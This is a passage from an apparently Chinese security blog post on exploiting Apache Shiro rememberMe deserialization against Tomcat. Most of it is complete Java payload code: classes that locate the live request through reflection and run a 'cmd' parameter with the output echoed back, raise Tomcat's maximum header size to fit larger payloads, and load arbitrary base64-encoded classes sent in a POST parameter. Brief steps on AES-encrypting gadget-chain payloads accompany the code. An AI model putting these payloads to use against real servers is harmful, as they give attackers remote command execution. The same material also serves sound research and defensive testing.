if (cmd != null){ System.out.println(cmd); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = new ProcessBuilder(cmds).start().getInputStream(); StringBuilder sb = new StringBuilder(""); byte[] bytes = new byte[1024]; int n = 0 ; while ((n=inputStream.read(bytes)) != -1){ sb.append(new String(bytes,0,n)); }
Writer writer = response.getWriter(); writer.write(sb.toString()); writer.flush(); inputStream.close(); System.out.println("success"); flag = true; break; }// System.out.println("success");// flag = true;// break; if (flag){ break; } } } } } } if (flag){ break; } } } catch (Exception e){ e.printStackTrace(); }
}

public static Object getField(Object obj, String fieldName) throws Exception { Field f0 = null; Class clas = obj.getClass();
while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } }
if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}

我们直接AES加密修改rememberMe,发现会返回错误提示请求头太大,因此我们要绕过Header长度限制,这也是shiro反序列化时经常遇到的问题

这时候需要修改长度限制,具体下面会说(建议先看完max size绕过部分,有大坑),这里先传一个反射修改max size的功能的class文件进行修改,显示200

之后再传我们的poc,执行成功

更通用的回显方法(全通用)

因为有长度问题,因此要先修改长度
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Session;import org.apache.catalina.connector.Response;import org.apache.coyote.Request;import org.apache.coyote.RequestInfo;
import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.List;
public class TomcatEcho extends AbstractTranslet {
static { try { boolean flag = false; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); for (int i=0;i<threads.length;i++){ Thread thread = threads[i]; if (thread != null){ String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")){ Object target = getField(thread,"target"); Object global = null; if (target instanceof Runnable){ // 需要遍历其中的 this$0/handler/global // 需要进行异常捕获,因为存在找不到的情况 try { global = getField(getField(getField(target,"this$0"),"handler"),"global"); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors if (global != null){ List processors = (List) getField(global,"processors"); for (i=0;i<processors.size();i++){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null){ Request tempRequest = (Request) getField(requestInfo,"req"); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); Response response = request.getResponse();
String cmd = null; if (request.getParameter("cmd") != null){ cmd = request.getParameter("cmd"); }
if (cmd != null){ System.out.println(cmd); InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream(); StringBuilder sb = new StringBuilder(""); byte[] bytes = new byte[1024]; int n = 0 ; while ((n=inputStream.read(bytes)) != -1){ sb.append(new String(bytes,0,n)); }
Writer writer = response.getWriter(); writer.write(sb.toString()); writer.flush(); inputStream.close(); System.out.println("success"); flag = true; break; } if (flag){ break; } } } } } } if (flag){ break; } } } catch (Exception e){ e.printStackTrace(); }
}

public static Object getField(Object obj,String fieldName) throws Exception{ Field f0 = null; Class clas = obj.getClass();
while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } }
if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}

Header 长度限制绕过

修改max size(其实不是很稳定)

通过反射修改改变
org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")public class TomcatHeaderSize extends AbstractTranslet {
static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { // org.apache.coyote.AbstractProtocol$ConnectionHandler if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); // 10000 为修改后的 headersize headerSizeField.set(tempRequest.getInputBuffer(),10000); } } } // 10000 为修改后的 headersize ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000); } } } } catch (Exception e) { } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}
使用cc链读取class生成ser文件然后把ser文件进行AES加密
注意,很多不成功就是死在AES加密上,使用我之前提供的python加密脚本会出现加密结果过长的问题导致修改max size的payload也会显示header过长
这里提供天下大木头师傅的github
[https://github.com/KpLi0rn/ShiroVulnEnv](https://github.com/KpLi0rn/ShiroVulnEnv),里面自带一个AESEncode加密脚本,可以看到他的外部库都是调用的shiro自身的,所以用这个脚本加密起来会和shiro百分百匹配

利用 CloassLoader 加载来绕过长度限制(适用于Tomcat 7,8,9)

思路是给rememberMe传递一个classloader,让他接收一个执行命令的类来加载
这里给出类加载器的源码,使用CB链进行加载,经测试cc11等加载完之后loader也会出现请求头较大的情况因此选择CB
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;import java.util.Iterator;
public class TD extends AbstractTranslet { static { Object jioEndPoint = GetAcceptorThread(); if (jioEndPoint != null) { java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)) { continue; } org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1); org.apache.catalina.connector.Response response = request.getResponse(); String code = request.getParameter("class"); if (code != null) { try { byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length); cc.newInstance().equals(new Object[]{request, response}); } catch (Exception e) { e.printStackTrace(); } } } } }
public static Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try {
declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (Exception e) { } clazz = clazz.getSuperclass(); } return null; }
public static Object GetAcceptorThread() { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null || thread.getName().contains("exec")) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = getField(thread, "target"); if (!(target instanceof Runnable)) { try { Object target2 = getField(thread, "this$0"); target = thread; } catch (Exception e) { continue; } } Object jioEndPoint = getField(target, "this$0"); if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { continue; } } return jioEndPoint; } } return null; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}
执行命令的参数,base64对class进行编码,然后post传参class给classloader,CB链前面讲过这里不贴
import java.io.InputStream;import java.util.Scanner;
public class cmd { public boolean equals(Object req) { Object[] context=(Object[]) req; org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0]; org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1]; String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.setContentType("text/html;charset=utf-8"); InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\\\a"); String output = s.hasNext() ? s.next() : ""; response.getWriter().println("----------------------------------"); response.getWriter().println(output); response.getWriter().println("----------------------------------"); response.getWriter().flush(); response.getWriter().close(); } catch (Exception e) { e.printStackTrace(); } } return true; }}

执行结果

总结

在写这篇文章的过程中断断续续踩了无数的坑,当然只有踩坑的时候也就是进步的时候,最终把问题解决真是神清气爽,这篇文章参考了不少师傅的文章,里面记录了我的心得以及踩坑与解决思路,希望大家在看我文章的时候能学有所得,学有所思。在此感谢Sentiment师傅对我的大力帮助。

往期推荐



原创 | CodeQL与AST之间联系

原创 | Filter内存马及工具检测

原创 | XXE利用:结合Local DTD和Error-Based技巧bypass防火墙


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存